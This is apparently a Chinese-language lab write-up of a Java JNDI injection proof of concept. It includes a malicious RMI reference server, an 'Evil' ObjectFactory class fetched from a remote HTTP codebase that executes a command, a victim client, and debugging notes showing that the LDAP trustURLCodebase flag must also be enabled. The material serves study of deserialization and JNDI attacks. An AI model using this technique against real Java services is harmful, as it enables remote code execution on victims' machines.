服务端(攻击者)
package org.example.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ReferenceServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String allClassName = "Evil";
String url = "http://192.168.48.131:8000/";
Reference reference = new Reference(allClassName, allClassName, url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aaa", referenceWrapper);
System.out.println("rmi服务端开启了");
}
}
恶意类(class放在192.168.48.131:8000的http服务器上)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Evil implements ObjectFactory {
static {
System.out.println(2222222);
}
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
System.out.println(1111);
return Runtime.getRuntime().exec("calc");
}
}
客户端(被攻击者)
package org.b1ackc4t.se.jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JClient {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
System.out.println(obj);
}
}
看上去代码没有任何问题,我因为客户端的版本比较高就手动打开了trustURLCodebase,但依旧无法执行恶意代码
打开服务端
客户端在lookup处打下断点(用force step into 否则会直接跳过jdk的代码)
rmi stub的操作在lookup就结束了,到decodeObject开始解析拿到的对象
明显在判断是否是Reference对象,是的话就针对性处理一波
判断一下开没开trustURLCodebase,我显然开了,顺利进入getObjectInstance,这个方法听名字就知道是个核心方法
走到这里出了个大问题,getObjectFactoryFromReference明显是获取远程工厂类的,结果获取了个null出来,在这打个断点,重新调试一次
先尝试在本地加载工厂类,找不到再去远程codebase找,我们自然是进入了远程的loadClass
进来就又判断一次trustURLCodebase,上次不是才判断过了吗?
不出意外的判断失败了,很怪,我们追一下这个trustURLCodebase变量
问题明了,判断的是ldap的那个trustURLCodebase,所以我们要把这个也设置为true,问题解决
package org.b1ackc4t.se.jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JClient {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
System.out.println(obj);
}
}
LDAP的trustURLCodebase因为带了LDAP,我就以为只有LDAP加载远程工厂才需要打开它,现在看了代码后才知道rmi加载远程工厂同样要打开LDAP的trustURLCodebase,我还是太年轻了